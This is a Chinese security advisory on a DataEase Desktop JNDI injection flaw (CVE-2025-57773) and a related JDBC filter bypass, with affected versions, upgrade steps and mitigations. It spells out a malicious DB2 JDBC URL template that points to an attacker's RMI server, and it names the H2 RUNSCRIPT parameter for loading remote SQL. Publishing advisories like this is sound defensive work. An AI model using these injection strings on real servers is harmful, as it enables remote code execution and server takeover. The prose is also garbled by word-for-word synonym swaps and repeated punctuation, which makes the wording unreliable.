【缝隙公告】Dataease JNDI注入缝隙(CVE-2025-57773)

颁布功夫 2025-08-26

一、、缝隙概述


缝隙名称

DataEase JNDI注入缝隙

CVE   ID

CVE-2025-57773

缝隙类型

RCE

发现功夫

2025-08-26

缝隙评分

8.2

缝隙等级

高危

攻击向量

网络

所需权限

无

利用难度

低

用户交互

不必要

PoC/EXP

已公开

在野利用

未发现


DataEase是一款开源的数据可视化与分析平台，，支持多种数据源接入，，提供报表、、看板、、可视化大屏等职能，，援手用户实现数据查问、、分析与展示。。。它支持JDBC、、API等多种数据衔接方式，，合用于BI报表、、数据分析及可视化场景。。。


2025年8月26日，，OG东方厅集团VSRC监测到DataEase Desktop存在DataEase JNDI注入缝隙(CVE-2025-57773)。。。由于DB2数据源参数不足有效校验，，攻击者可通过机关恶意JDBC URL（如jdbc:db2://…;clientRerouteServerListJNDIName=rmi://<恶意服务器>），，触发JNDI远程加载，，并结合commons-collections 4.x与aspectjweaver(<1.9.4)的Gadget链实现反序列化攻击，，从而达到肆意文件写入或远程代码执行的主张，，最终可能齐全节礼服务器，，同时Dataease Desktop还存在Dataease JDBC逻辑绕过缝隙(CVE-2025-57772)，，由于CalciteProvider#getConnection步骤中存在JDBC类型校验缺点，，攻击者可通过伪造数据库类型为oracle，，绕过H2驱动有关过滤逻辑，，强制法式加载恶意机关的H2 JDBC URL。。。该URL可直接蕴含危险参数（如INIT=RUNSCRIPT FROM），，实现远程加载并执行恶意SQL剧本，，导致敏感数据泄露、、系统被节制及进一步横向渗入。。。


二、、影响领域


DataEase Desktop ≤ v2.10.11。。。


三、、安全措施


3.1 升级版本


官方已颁布安全补丁，，升级至如下版本。。。

DataEase Desktop ≥v2.10.12。。。


3.2 一时措施


若是临时无法升级主法式，，可通过将AspectJWeaver升级至≥1.9.4来降低CVE-2025-57773的可利用性，，同时建议将commons-collections升级至≥4.4以削减潜在风险。。。


3.3 通用建议


? 定期更新系统补丁，，削减系统缝隙，，提升服务器的安全性。。。

? 加强系统和网络的接见节制，，批改防火墙战术，，关闭非必要的利用端口或服务，，削减将危险服务（如SSH、、RDP等）露出到公网，，削减攻击面。。。

? 使用企业级安全产品，，提升企业的网络安全机能。。。

? 加强系统用户和权限治理，，启用多成分认证机制和最小权限准则，，用户和软件权限应维持在最低限度。。。

? 启用强密码战术并设置为定期批改。。。


3.4 参考链接


https://nvd.nist.gov/vuln/detail/CVE-2025-57773/

https://github.com/dataease/dataease/security/advisories/GHSA-v37q-vh67-9rqv

https://github.com/dataease/dataease/security/advisories/GHSA-7r8j-6whv-4j5p/